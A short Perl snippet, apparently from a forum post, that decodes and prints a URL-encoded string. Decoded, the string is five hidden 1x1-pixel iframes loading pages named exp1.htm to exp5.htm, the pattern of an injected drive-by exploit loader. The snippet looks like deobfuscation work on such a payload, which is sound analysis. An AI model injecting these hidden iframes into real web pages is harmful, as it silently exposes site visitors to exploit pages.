my $txt = "%3c%69%66%72%61%6d%65%20%73%72%63%3d%22%65%78%70%31%2e%68%74%6d%22%20%77%69%64%74%68%3d%22%31%22%20%68%65%69%67%68%74%3d%22%31%22%3e%3c%2f%69%66%72%61%6d%65%3e%0a%3c%69%66%72%61%6d%65%20%73%72%63%3d%22%65%78%70%32%2e%68%74%6d%22%20%77%69%64%74%68%3d%22%31%22%20%68%65%69%67%68%74%3d%22%31%22%3e%3c%2f%69%66%72%61%6d%65%3e%0a%3c%69%66%72%61%6d%65%20%73%72%63%3d%22%65%78%70%33%2e%68%74%6d%22%20%77%69%64%74%68%3d%22%31%22%20%68%65%69%67%68%74%3d%22%31%22%3e%3c%2f%69%66%72%61%6d%65%3e%0a%3c%69%66%72%61%6d%65%20%73%72%63%3d%22%65%78%70%34%2e%68%74%6d%22%20%77%69%64%74%68%3d%22%31%22%20%68%65%69%67%68%74%3d%22%31%22%3e%3c%2f%69%66%72%61%6d%65%3e%0a%3c%69%66%72%61%6d%65%20%73%72%63%3d%22%65%78%70%35%2e%68%74%6d%22%20%77%69%64%74%68%3d%22%31%22%20%68%65%69%67%68%74%3d%22%31%22%3e%3c%2f%69%66%72%61%6d%65%3e";

print chr(hex($_)) for $txt =~ /%([a-z0-9]+)/g;

##</code><code>##

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